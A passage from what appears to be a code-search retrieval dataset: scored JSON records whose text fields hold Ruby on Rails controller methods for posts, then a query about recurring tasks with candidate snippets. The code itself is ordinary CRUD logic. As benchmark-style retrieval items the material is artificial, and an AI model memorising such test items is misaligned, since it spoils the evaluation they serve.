"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "b7ee4a7e432c7c37005748fea9d3f89d",
"score": "0.68651116",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "58cb10a6f2e926c8f7b2224620ae9a88",
"score": "0.68563795",
"text": "def show\n @post = Post.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "9142c1c69aa14cff65bfb8d67033e5ee",
"score": "0.6853958",
"text": "def show\n \n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"title": ""
},
{
"docid": "9b2eee66e0cbd4026e6ffa8637c6aa0e",
"score": "0.6850233",
"text": "def show\n @posts = @game.posts.order(created_at: :desc).paginate(page: params[:page], per_page: 5)\n respond_to do |format|\n format.json { render template: 'api/games/game.json' }\n end\n end",
"title": ""
},
{
"docid": "c98e3c0c1681a0589fa05e49e86002da",
"score": "0.6837766",
"text": "def show\n post = Post.find_by(id: params[:id])\n if post \n render json: post\n else\n render json: {errors: 'Not found'}\n end\n end",
"title": ""
},
{
"docid": "7b68db056deeebb2155fd501e809978f",
"score": "0.68144345",
"text": "def show\n render :json => @post\n end",
"title": ""
},
{
"docid": "443d082165d72d25a2102ff0f30b7fb4",
"score": "0.6796908",
"text": "def get(options = EMPTY_HASH)\n parameters = Specification.new(\n tag: Types::Tags,\n dt: Types::Time,\n url: Types::URL,\n meta: Types::Boolean\n ).parameters(options)\n posts_from client.get(\"/posts/get\", parameters)\n end",
"title": ""
},
{
"docid": "85628397ef178df32280157a889a14fe",
"score": "0.6789316",
"text": "def index\n @posts = Post.all\n # Post.all returns all of the posts currently in the \n # database as an array of Post records that we store \n # in an instance variable called @posts.\n # http://guides.rubyonrails.org/active_record_querying.html\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n # The respond_to block handles both HTML and JSON calls \n # to this action. If you browse to \n # http://localhost:3000/posts.json, you’ll see a JSON \n # containing all of the posts. \n end",
"title": ""
},
{
"docid": "158f7338fe9cd789dede014a6f52d801",
"score": "0.67816055",
"text": "def show\n render json: @post, serializer: Api::V1::PostSerializer\n end",
"title": ""
},
{
"docid": "672f66d49f10113c3bee8e8cf65f0106",
"score": "0.6779376",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"title": ""
},
{
"docid": "672f66d49f10113c3bee8e8cf65f0106",
"score": "0.6779376",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"title": ""
},
{
"docid": "09d856b2bfa3f8de3effb0244fdc93da",
"score": "0.677026",
"text": "def index\n @posts = PostService.getAllPosts\n end",
"title": ""
},
{
"docid": "5bcb3e492fb27aad7c92d319720ba963",
"score": "0.676455",
"text": "def show\n respond_to do |format|\n format.html\n format.json { render jsonapi: @post }\n end\n end",
"title": ""
},
{
"docid": "07469b16e9aaf24e42a6d475beb5e190",
"score": "0.67616427",
"text": "def index\n #@posts = Post.all\n @posts = Post.paginate( :page => params[:page],\n :per_page => 2\n )\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"title": ""
},
{
"docid": "b5e1310acc042c75c17830042159c393",
"score": "0.6751724",
"text": "def show\n @post = Post.where(:id => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "927ee7d4801e6d15ff8645b90d02114f",
"score": "0.6741677",
"text": "def index\n\t@posts = list_posts\n end",
"title": ""
},
{
"docid": "1dfdc568b7a32981ccff595ca201d7b0",
"score": "0.67219085",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n #format.json { render json: @post }\n format.json do\n render :json => @post.to_json(:only => [:id, :title, :text, :lat, :lng, :created_at, :post_type, :likes], \n :methods => [:image_url, :video_url], \n :include => [:comments])\n end\n end\n end",
"title": ""
},
{
"docid": "ea2f746be1cf425be7f3ea6813d1fbf5",
"score": "0.67041487",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml { render xml: @posts }\n end\n end",
"title": ""
},
{
"docid": "5a52e82564e2db07ded025950caca594",
"score": "0.6679393",
"text": "def posts_list\n posts = Post.all.published.order(score: :desc, created_at: :desc)\n post_tags = Post.published.order(score: :desc, created_at: :desc).map { |post| Post.includes(:tags, :taggings).find_by(id: post.id).tags }\n categories = Category.all\n tags = Tag.all\n\n render_json(posts: posts, categories: categories, tags: tags, post_tags: post_tags)\n end",
"title": ""
},
{
"docid": "337926f85b82a7a6094aebc76303c00b",
"score": "0.66632664",
"text": "def index\n @posts = Post.all.order_by([:date_published, :desc]).page(params[:page]).per(20)\n #authorize! if cannot? :read, @posts\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"title": ""
},
{
"docid": "056020ca4c6e9af92348a94e32c5a5e4",
"score": "0.6649912",
"text": "def show\n @post ||= Mist::Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"title": ""
},
{
"docid": "aa1667e0d5f5c288de7c98d1afd3e51f",
"score": "0.6634585",
"text": "def index\n page = params[:page]\n per_page = params[:per_page]\n\n posts = Post.order(published_at: :desc).page(page).per(per_page)\n\n # Передаём в заголовке общее количество страниц и записей.\n response.headers['Total-Pages'] = posts.total_pages\n response.headers['Total-Count'] = posts.total_count\n\n render json: posts\n end",
"title": ""
},
{
"docid": "2b13e24e6c5d68391262cf4e7ec8055e",
"score": "0.6628827",
"text": "def index\n render json: Post.all.order(id: :desc), each_serializer: V1::Posts::PostSerializer\n end",
"title": ""
},
{
"docid": "3f07ca52f1cff324dc15bb3d68551cc2",
"score": "0.6628382",
"text": "def show\n @post = Post.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @post }\n format.xml { render xml: @posts }\n end\n end",
"title": ""
},
{
"docid": "37e84eea325c64d39155ab5f11762961",
"score": "0.6625849",
"text": "def posts\n posts = @client.entries(content_type: 'post').items\n posts || []\n end",
"title": ""
},
{
"docid": "dbf00e2deb45377f638becf566594e7d",
"score": "0.6625096",
"text": "def show\n @post = Post.find(params[:id])\n \n respond_to do |format|\n format.html { render 'application/index' }\n format.json { render :json => { :post => @post.as_json } }\n end\n end",
"title": ""
},
{
"docid": "d9af16fffec3c03110a65c1a4a25829e",
"score": "0.66187227",
"text": "def show\r\n @post = root_post_of(Post.find(params[:id]))\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @post }\r\n end\r\n end",
"title": ""
},
{
"docid": "394d3977103ee0cc79dff63fb7baa674",
"score": "0.6614082",
"text": "def index\n @art_posts = ArtPost.all\n\n render json: @art_posts\n end",
"title": ""
},
{
"docid": "e62597b26e7523cae4039c0c13f35d1d",
"score": "0.6613012",
"text": "def index\n @posts = Post.order(created_at: :desc)\n respond_to do |format|\n format.html { render }\n format.text { render }\n format.xml { render xml: @posts }\n format.json { render json: @posts.to_json }\n end\n end",
"title": ""
},
{
"docid": "63415206349c4c3517a31caa2d181d95",
"score": "0.65966535",
"text": "def index\n per_page = params[:per_page] ? params[:per_page] : Post::PER_PAGE\n @posts = Post.by_published_date.paginate(page: params[:page], per_page: per_page)\n # Set count of posts and count of pages to query headers\n add_headers\n render json: @posts\n end",
"title": ""
},
{
"docid": "307699e3e6dc30145e044f00122b3926",
"score": "0.659471",
"text": "def show\n render json: {\n data: @post\n }\n end",
"title": ""
},
{
"docid": "c611772fde4bc4cb00f6686cfe4f1e05",
"score": "0.6585657",
"text": "def show\n @feed = Feed.find(params[:id])\n @posts = @feed.posts.order(\"published desc\").paginate(:page => params[:page], :per_page => 20)\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @feed }\n end\n end",
"title": ""
},
{
"docid": "0e4d3285b64b6124e41a7a5c68d0f4b7",
"score": "0.65838885",
"text": "def index\n # TODO: implement listing all posts\n end",
"title": ""
},
{
"docid": "629361b207031070dd5f76c7f641f063",
"score": "0.65793824",
"text": "def index\n @posts = Post.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts, :include => :tags }\n end\n end",
"title": ""
},
{
"docid": "b876cfdcbeb040426b601ccf294fd9ca",
"score": "0.65657425",
"text": "def list\n comments = Comment.where(post: @post)\n render json: comments, status: 200\n end",
"title": ""
},
{
"docid": "b30b9e677cb5dd2c71d00e20bb13d158",
"score": "0.6556009",
"text": "def show\n @post = current_user.posts.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @post }\n end\n end",
"title": ""
},
{
"docid": "1d4063e062c6e076005aa12517b8a68b",
"score": "0.6544602",
"text": "def index\n\t \tif params[:title]\n\t\t render json: Post.search(params[:title])\n \t\telse\n\t \trender json: Post.all\n \tend\n\t end",
"title": ""
},
{
"docid": "90ddac3ab07a4682fb73aa90be5e667a",
"score": "0.6541687",
"text": "def index\n unless can?(:manage, Post)\n @posts = @posts.published\n end\n \n respond_with @posts\n end",
"title": ""
},
{
"docid": "4babe20745dfaef8d39bb78cd2199b07",
"score": "0.654093",
"text": "def index\n @posts = Post.all\n respond_with(@posts)\n end",
"title": ""
},
{
"docid": "481b9dd2207de11408d7888674b9c921",
"score": "0.65284276",
"text": "def index\n @posts = Post.all.reverse\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n end\n end",
"title": ""
},
{
"docid": "ff7849fd8bfa1685b45f57627970d46c",
"score": "0.6525475",
"text": "def index\n render json: current_user.posts.all\n # TODO order posts alphabetically\n end",
"title": ""
},
{
"docid": "ad92fa1484b4d2b2803b293358364608",
"score": "0.65207696",
"text": "def index\n @posts = Post.includes(:author, channel: [:posts]).order(created_at: :desc)\n @posts = @posts.where(channel: @channel) if params[:channel_id]\n @posts = @posts.page(params[:page])\n\n respond_to do |format|\n format.html\n format.json { render jsonapi: @posts }\n end\n end",
"title": ""
},
{
"docid": "fbb660e6f438bc029232092d4b4cdee4",
"score": "0.65118736",
"text": "def show\n #@post = Post.find(params[:id])\n\n #respond_to do |format|\n # format.html # show.html.erb\n #format.json { render json: @post }\n #end\n end",
"title": ""
},
{
"docid": "d45bef15a64c4158057fd8888bbc2c07",
"score": "0.6511421",
"text": "def index\n @page = params[:page] || 1\n @posts = @exchange.posts.page(@page, context: 0).for_view\n respond_to do |format|\n format.json do\n serializer = PostSerializer.new(\n @posts,\n links: { self: paginated_json_path(@posts.current_page),\n next: paginated_json_path(@posts.next_page),\n previous: paginated_json_path(@posts.previous_page) },\n include: %i[user]\n )\n render json: serializer.serialized_json\n end\n end\n end",
"title": ""
},
{
"docid": "2a117ec001aeb4f39e76831a0850ed4c",
"score": "0.6497209",
"text": "def index\n @postos = Posto.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @postos }\n end\n end",
"title": ""
},
{
"docid": "8cf2835b3f5d8a1b06b61e652b8df830",
"score": "0.64947283",
"text": "def show\n @post = Post.find(params[:id])\n render json: @post, meta: { status: :ok }, meta_key: 'result'\n end",
"title": ""
},
{
"docid": "e28e3531e9246400b69bd72fc05b665d",
"score": "0.6488873",
"text": "def show\n # @post = Post.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n # format.json { render json: @post }\n end\n end",
"title": ""
},
{
"docid": "e81eeb8c0bd38ab03f1b3dd2aa4052bf",
"score": "0.6476457",
"text": "def index\n @api_v1_posts = Api::V1::Post.all\n end",
"title": ""
},
{
"docid": "285e4c3d340bfb5f82df83fd2e2c85c7",
"score": "0.6466016",
"text": "def index\n @posts = Post.order(\"created_at DESC\").where(:published => true).limit(5)\n @title = \"Home\"\n @description = \"the blog and website of bassist and programmer Johnny Grubb. no baseball information here.\"\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @posts }\n format.xml\n end\n end",
"title": ""
},
{
"docid": "d2053f1692d977ffeea455b99776a257",
"score": "0.6463418",
"text": "def index\n respond_with Post.all\n end",
"title": ""
}
] |
58c898ea807badd790196eb42cf7003a
|
GET /recurring_tasks/1 GET /recurring_tasks/1.json
|
[
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] |
[
{
"docid": "5a1b8d72d8ba92a4fa4255b53dbe02f2",
"score": "0.75315917",
"text": "def index\n @recurring_tasks = RecurringTask.all\n end",
"title": ""
},
{
"docid": "b3ed1a9d969aaaafbb6db5c3e5becb6e",
"score": "0.7189134",
"text": "def set_recurring_task\n @recurring_task = RecurringTask.find(params[:id])\n end",
"title": ""
},
{
"docid": "7dbf32bd4fb1e04e821817a02986e18d",
"score": "0.6599525",
"text": "def create\n @recurring_task = RecurringTask.new(recurring_task_params)\n\n respond_to do |format|\n if @recurring_task.save\n format.html { redirect_to @recurring_task, notice: 'Recurring task was successfully created.' }\n format.json { render :show, status: :created, location: @recurring_task }\n else\n format.html { render :new }\n format.json { render json: @recurring_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "eb16e97bf26c95f193682181a998842a",
"score": "0.64280224",
"text": "def status_url\n \"#{base_url}/recurring/#{uuid}\"\n end",
"title": ""
},
{
"docid": "e507f4ee85d6d503a445301314ba0743",
"score": "0.6416559",
"text": "def get_recurrence(user_id)\n result = @tropo_client.get(\"users/#{user_id}/payment/recurrence\")\n end",
"title": ""
},
{
"docid": "86d3a440286b93cad9d980a4a7ebf8b1",
"score": "0.6365974",
"text": "def recurring_task_root\n return recurring_task if recurring_task\n\n RecurringTask.joins(:issue).find_by(issues: {subject: subject,\n project_id: project_id,\n author_id: author_id})\n end",
"title": ""
},
{
"docid": "a99391a95dd9c786a58369f5247a0425",
"score": "0.62834024",
"text": "def url\n \"/tasks/#{self.id}\"\n end",
"title": ""
},
{
"docid": "b98d6e0f037b424760a46e9092d2ff7c",
"score": "0.6269786",
"text": "def my_tasks(params = {})\n get('my/tasks', params)\n end",
"title": ""
},
{
"docid": "93c1172410fcb9c411f421e333cd5188",
"score": "0.62009233",
"text": "def index\n @recurring_schedules = RecurringSchedule.all\n end",
"title": ""
},
{
"docid": "c1c57321a2f1b358c0e6aa0b33ba1a72",
"score": "0.616039",
"text": "def task_schedule\n RecurringPullTask.task_schedule(self).first\n end",
"title": ""
},
{
"docid": "0de4de6a2e43596f49c0af66eedf49ff",
"score": "0.6148646",
"text": "def set_recurring\n @recurring = Recurring.find(params[:id])\n end",
"title": ""
},
{
"docid": "f7a975c6ca643a10d2b04c97dfef9d0b",
"score": "0.6102119",
"text": "def show\n @subtask = @task.subtasks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subtask }\n end\n end",
"title": ""
},
{
"docid": "88cbd84bae17a5c5274ceb1f679ab64f",
"score": "0.60543734",
"text": "def get(params = {})\n response = client.get \"/_tasks\", params.merge(action: \"tasks.list\", rest_api: \"tasks.list\")\n response.body\n end",
"title": ""
},
{
"docid": "b3ce8c34abfb7d2d59e02714380a14f0",
"score": "0.6034602",
"text": "def show\n @subtask = Subtask.find(params[:id])\n render json: @subtask\n end",
"title": ""
},
{
"docid": "8ce774359d7c499f8f949dee7c7524ec",
"score": "0.6027733",
"text": "def index\n @recurring_events = RecurringEvent.all \n end",
"title": ""
},
{
"docid": "85bb98d2eb7a519c78791530819bbe3f",
"score": "0.6027181",
"text": "def recurring_task_params\n params.require(:recurring_task).permit(:name, :completed_at)\n end",
"title": ""
},
{
"docid": "e674f697c732527370428519e63c1671",
"score": "0.59976363",
"text": "def get_tasks\n end",
"title": ""
},
{
"docid": "a327ee3f778f681117e6999e903a6bbc",
"score": "0.5988501",
"text": "def destroy\n @recurring_task.destroy\n respond_to do |format|\n format.html { redirect_to recurring_tasks_url, notice: 'Recurring task was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "c084790c3c8f1eb47fcf96408c6e8d00",
"score": "0.59398574",
"text": "def tasks\r\n params = {\r\n method: :get,\r\n url: '/project/tasks',\r\n params: { prjUUID: @uuid }\r\n }\r\n @session.request(params).perform!\r\n end",
"title": ""
},
{
"docid": "00c8860b22af6826ab3d2e14866db151",
"score": "0.59014213",
"text": "def deadline\n tasks = Task.where('\"dueDate\" =?', Date.today).where(\"user_id=?\", @user.id)\n render json: {tasks: tasks}\n end",
"title": ""
},
{
"docid": "95c842863c991a40f5e7b7166fcd089d",
"score": "0.5899912",
"text": "def show\n @recurring_stop = RecurringStop.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recurring_stop }\n end\n end",
"title": ""
},
{
"docid": "b19403139c4a5d475f88d911c1636b71",
"score": "0.58537096",
"text": "def index\n @recurring_transactions = RecurringTransaction.all\n end",
"title": ""
},
{
"docid": "5505168cb2092ffc92ec71ada4a42265",
"score": "0.58517814",
"text": "def set_recurring_schedule\n @recurring_schedule = RecurringSchedule.find(params[:id])\n end",
"title": ""
},
{
"docid": "6c30e6edd2c603526a003198f1d79187",
"score": "0.5836757",
"text": "def get(id)\n task = service.list_tasks.find do |task|\n task.id != id\n end\n end",
"title": ""
},
{
"docid": "6f95f571c4bc2bbe533a79519558aed5",
"score": "0.5823707",
"text": "def set_recurring\n parsed_response\n end",
"title": ""
},
{
"docid": "1b2733c3af9959f194f62c4962f3f1ff",
"score": "0.58155537",
"text": "def get_task(task_id)\n end",
"title": ""
},
{
"docid": "52e0d7a77ffa1149c7bf58d5c88856d0",
"score": "0.581424",
"text": "def get_tasks(api_key, secret, type=\"all\", list=nil)\n if check_local_token != false\n begin\n args = {}\n args['api_key'] = api_key\n args['auth_token'] = check_local_token\n args['method'] = \"rtm.tasks.getList\"\n if !list.nil?\n args['filter'] = \"list:\\\"#{type}\\\" AND status:incomplete\"\n else\n if type.casecmp('overdue') == 0\n args['filter'] = \"dueBefore:today AND status:incomplete\"\n elsif type.casecmp('today') == 0\n args['filter'] = \"due:today AND status:incomplete\"\n elsif type.casecmp('tomorrow') == 0\n args['filter'] = \"due:tomorrow AND status:incomplete\"\n elsif type.casecmp('never') == 0\n args['filter'] = \"due:never AND status:incomplete\"\n elsif type.casecmp('week') == 0\n args['filter'] = \"dueWithin:\\\"1 week of today\\\" AND status:incomplete\"\n else\n args['filter'] = \"status:incomplete\"\n end\n end\n args['api_sig'] = generate_signature(args, secret)\n args['filter'] = CGI::escape(args['filter'])\n require 'open-uri'\n url = API_URL + args.to_a.map{|arr| arr.join('=')}.join('&')\n open(url) do |http|\n doc = REXML::Document.new(http.read)\n tasks = Array.new\n doc.elements.each('rsp/tasks/list/taskseries') {|e|\n tasks << { :name => e.attributes['name'], :priority => e.elements['task'].attributes['priority'], :id => e.elements['task'].attributes['id'] }\n }\n if tasks.length == 0\n Error::initialize(\"There were no incomplete tasks found for the type \" + type)\n else\n tasks\n end\n end\n rescue\n Error::initialize(\"An error occured while fetching a list of tasks belonging to the type \" + type)\n end\n else\n Error::initialize(\"An error occured while fetching a list of tasks belonging to the type \" + type)\n end\n end",
"title": ""
},
{
"docid": "a1ad38661b0b0c6148a6896af661e4fd",
"score": "0.580524",
"text": "def get_task(task_id)\n params = {\n 'method' => :get,\n 'command' => \"/task/#{task_id}\"\n }\n\n response, _headers = send_request(params)\n\n task = response.css('Task').first\n status = task['status']\n start_time = task['startTime']\n end_time = task['endTime']\n\n {\n :status => status,\n :start_time => start_time,\n :end_time => end_time,\n :response => response\n }\n end",
"title": ""
},
{
"docid": "d36b26043005ba60e6a8d0b574182ae4",
"score": "0.58015",
"text": "def tasks\n\t\trender json: Timesheet.tasks(project), each_serializer: TimesheetTaskSerializer\n\tend",
"title": ""
},
{
"docid": "b77d94cdfd7315720aefc8933bd69d8a",
"score": "0.58009607",
"text": "def update\n respond_to do |format|\n if @recurring_task.update(recurring_task_params)\n format.html { redirect_to @recurring_task, notice: 'Recurring task was successfully updated.' }\n format.json { render :show, status: :ok, location: @recurring_task }\n else\n format.html { render :edit }\n format.json { render json: @recurring_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "164a2eb2be2fc741e3b0e26a9074fa42",
"score": "0.5789135",
"text": "def projecttasks\n @tasks = Task.where(project_id: params[:id])\n render json: @tasks\n end",
"title": ""
},
{
"docid": "b2e3cb8e1b5e8cee39bb19b45f075b5f",
"score": "0.57757974",
"text": "def index\n @subtasks = Subtask.all\n render json: @subtasks\n end",
"title": ""
},
{
"docid": "b44b7348148e5696c5fb4838af0d2b01",
"score": "0.5767596",
"text": "def index\n @activities = Activity.all.sort_by {|n| n.cycle_completion_percentage }\n @recurring_tasks = RecurringTask.order(name: :asc).all\n end",
"title": ""
},
{
"docid": "f021235edcbf54e3b4600887fa85553b",
"score": "0.57565266",
"text": "def get_task\n @task = Task.find(params[:id])\n end",
"title": ""
},
{
"docid": "8cc33e1f8363431f72d3019be0047383",
"score": "0.57551116",
"text": "def show\n @subtask = Subtask.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subtask }\n end\n end",
"title": ""
},
{
"docid": "f42d1597c4f77520a197cd984cee1149",
"score": "0.57528377",
"text": "def index\n @project = Project.find_by(id: params[:project_id])\n @task = @project.tasks\n if @task \n render :json => @task\n else\n render :json => 422\n end\n end",
"title": ""
},
{
"docid": "a31f4c82a4cd3ff128438d7b75a9f63c",
"score": "0.57480127",
"text": "def task(project_id, task_id, req_params = {})\n params = { query: [project_id, task_id], req: req_params }\n\n data = endpoint(name: 'Tasks', params: params).do_get\n\n resource 'Task', data\n end",
"title": ""
},
{
"docid": "2cc0b786831bb7da9db50c9803783192",
"score": "0.57437116",
"text": "def index\n @recurring_periods = RecurringPeriod.all\n end",
"title": ""
},
{
"docid": "b3fd52c0be746a6b2578cc3300b5b1a3",
"score": "0.57433635",
"text": "def task\n\t\ttask_id = params[:task_id]\n\t\traise \"must specify task_id\" if task_id.blank?\n\t\ttimesheet_user.company.tasks.find(task_id)\n\tend",
"title": ""
},
{
"docid": "20e3a4e8f37ebf872bd63a93e3f7242b",
"score": "0.5736339",
"text": "def recurring(identification, options={})\n commit(build_recurring_request(identification, options))\n end",
"title": ""
},
{
"docid": "bf310cd3f3ed5b7582f863da0df7bbe3",
"score": "0.57363164",
"text": "def project_tasks(project_id, query={})\n perform_get(\"/api/1/projects/#{project_id}/tasks\", :query => query)\n end",
"title": ""
},
{
"docid": "1d9a1e274892222bfa0364d9677bac37",
"score": "0.57277244",
"text": "def tasks required_params, optional_params = {}\n check required_params, [:project_id]\n request('tasks', required_params.merge(optional_params))['tasks']\n end",
"title": ""
},
{
"docid": "b779d610c1b56d67e8ca78eebda98491",
"score": "0.5725897",
"text": "def show\n @task = Project.find(params[:project_id]).tasks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @task }\n end\n end",
"title": ""
},
{
"docid": "033c6ab366836ced3ae8940b1815cc2f",
"score": "0.5723513",
"text": "def get_task_by_id(id)\n require_relative 'task'\n Task.new(@api, @api.do_request(\"GET\", get_base_api_path() + \"/tasks/#{id}\"))\n end",
"title": ""
},
{
"docid": "22367f0a8971dce9c25f2a1e9e10b8f2",
"score": "0.57182235",
"text": "def list_recurring_details(shopper_reference)\n RecurringService.new(:shopper => { :reference => shopper_reference }).list\n end",
"title": ""
},
{
"docid": "85b8ae86331e474206a39046ada091dc",
"score": "0.57095987",
"text": "def create\n @recurring = Recurring.new(recurring_params)\n\n respond_to do |format|\n if @recurring.save\n format.html { redirect_to @recurring, notice: 'Recurring was successfully created.' }\n format.json { render :show, status: :created, location: @recurring }\n else\n format.html { render :new }\n format.json { render json: @recurring.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "213694029ff9e81331345f89fd1448cd",
"score": "0.56960756",
"text": "def project_task(project_id, id, query={})\n perform_get(\"/api/1/projects/#{project_id}/tasks/#{id}\", :query => query)\n end",
"title": ""
},
{
"docid": "4c1ee0ace8d9a98b8345d2a40967b175",
"score": "0.56948906",
"text": "def get_recurring_payins\n\n end",
"title": ""
},
{
"docid": "637485f5e912b66ec6ef4e66f71cae05",
"score": "0.5682955",
"text": "def index\n @api_v1_tasks = Api::V1::Task.all\n end",
"title": ""
},
{
"docid": "174d40e92bbd8ca6642babb5ed4248df",
"score": "0.56790894",
"text": "def get_task(taskid)\n params = {\n 'method' => :get,\n 'command' => \"/task/#{taskid}\"\n }\n\n response, headers = send_request(params)\n\n task = response.css('Task').first\n status = task['status']\n start_time = task['startTime']\n end_time = task['endTime']\n\n { :status => status, :start_time => start_time, :end_time => end_time, :response => response }\n end",
"title": ""
},
{
"docid": "0ca28827b875ee6f8b6f44e0c3d37e13",
"score": "0.5658909",
"text": "def show\n @project = Project.find(params[:project_id])\n @task = @project.tasks.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @task }\n end\n end",
"title": ""
},
{
"docid": "4bcbee0011628dfd70256ada2516b75c",
"score": "0.56501555",
"text": "def show\n task = current_user.tasks.find(params[:id])\n render json: task, status: 200\n end",
"title": ""
},
{
"docid": "4bae8cf145e1ccfd7482dcc675d58fa4",
"score": "0.5644927",
"text": "def get_tasks\n @tasks\n end",
"title": ""
},
{
"docid": "2515641674613b551dd531e53b4a7f14",
"score": "0.5644116",
"text": "def index # GET /tasks\n @tasks = Task.all\n end",
"title": ""
},
{
"docid": "7e5edd8ee79af02e6467b97fabeef2e6",
"score": "0.5635973",
"text": "def list(&block)\n call(method: :get, path: \"/campaigns/recurrings\", &block)\n end",
"title": ""
},
{
"docid": "b9641331dc298c7971af66331547347c",
"score": "0.5627734",
"text": "def show\n @task_run = TaskRun.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task_run }\n end\n end",
"title": ""
},
{
"docid": "45fcfe78b277b60b9a84a6b55d1fe7b4",
"score": "0.5615569",
"text": "def show\n @tasks = @plan.tasks.order('start_time ASC')\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @plan }\n end\n end",
"title": ""
},
{
"docid": "0df9dcc0d6be669436c1f52d0ed1ca73",
"score": "0.5610977",
"text": "def index\n @tasks = @plan.tasks\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tasks }\n end\n end",
"title": ""
},
{
"docid": "4754fac6be5f94df3c8e4c8909f88aed",
"score": "0.5610711",
"text": "def get_task(auth_token)\r\n user = User.first(token: auth_token)\r\n collection = Task.all(read: false, receiver_login: user.login)\r\n\r\n tasks = Array.new(collection)\r\n quantity = tasks.size\r\n\r\n return { get_task: { error: 'Success',\r\n quantity: quantity }}.to_json if quantity == 0\r\n\r\n tasks.each do |task|\r\n task.read = true\r\n task.save\r\n end\r\n\r\n tasks.map! { |task| { id: task.id,\r\n content: task.content,\r\n \t priority: task.priority,\r\n \t user_login: User.get(task.user_id).login,\r\n \t created_at: task.created_at.strftime('%d.%m.%Y %H:%M') }} # 12.12.2012 12:12\r\n\r\n # Delete all temporary tasks\r\n add_friend_tasks = Array.new(Task.all(receiver_login: user.login, read: true, priority: 5))\r\n delete_friend_tasks = Array.new(Task.all(receiver_login: user.login, read: true, priority: 6))\r\n add_friend_tasks.each { |task| task.destroy! } unless add_friend_tasks.empty?\r\n delete_friend_tasks.each { |task| task.destroy! } unless delete_friend_tasks.empty?\r\n\r\n { get_task: { error: 'Success',\r\n quantity: quantity,\r\n tasks: tasks }}.to_json\r\n end",
"title": ""
},
{
"docid": "a0801c8e86e5361bb5742146a51d83bf",
"score": "0.5607271",
"text": "def show\n\t\t@user = User.find(params[:user_id])\n\t\t@task = Task.find(params[:id])\n\t\t@subtask = @task.subtasks.new\n\tend",
"title": ""
},
{
"docid": "6068733850120fc85505a6bd6fd7e438",
"score": "0.55996335",
"text": "def uri # :nodoc:\n @uri ||= URI.parse(PayPal::Recurring.api_endpoint)\n end",
"title": ""
},
{
"docid": "e0142fa270319f287c0ac79d8a304562",
"score": "0.55835867",
"text": "def repeat_task(task)\n @repeat = Task.new\n @repeat.status = 0\n @repeat.project_id = task.project_id\n @repeat.company_id = task.company_id\n @repeat.name = task.name\n @repeat.repeat = task.repeat\n @repeat.requested_by = task.requested_by\n @repeat.creator_id = task.creator_id\n @repeat.set_tags(task.tags.collect{|t| t.name}.join(', '))\n @repeat.set_task_num(current_user.company_id)\n @repeat.duration = task.duration\n @repeat.notify_emails = task.notify_emails\n @repeat.milestone_id = task.milestone_id\n @repeat.hidden = task.hidden\n @repeat.due_at = @task.due_at\n @repeat.due_at = @repeat.next_repeat_date\n @repeat.description = task.description\n\n @repeat.save\n @repeat.reload\n\n task.notifications.each do |w|\n n = Notification.new(:user => w.user, :task => @repeat)\n n.save\n end\n\n task.task_owners.each do |o|\n to = TaskOwner.new(:user => o.user, :task => @repeat)\n to.save\n end\n\n task.dependencies.each do |d|\n @repeat.dependencies << d\n end\n\n @repeat.save\n\n end",
"title": ""
},
{
"docid": "c056f3fdf03e02946cf4c7a4d2d3405f",
"score": "0.5572429",
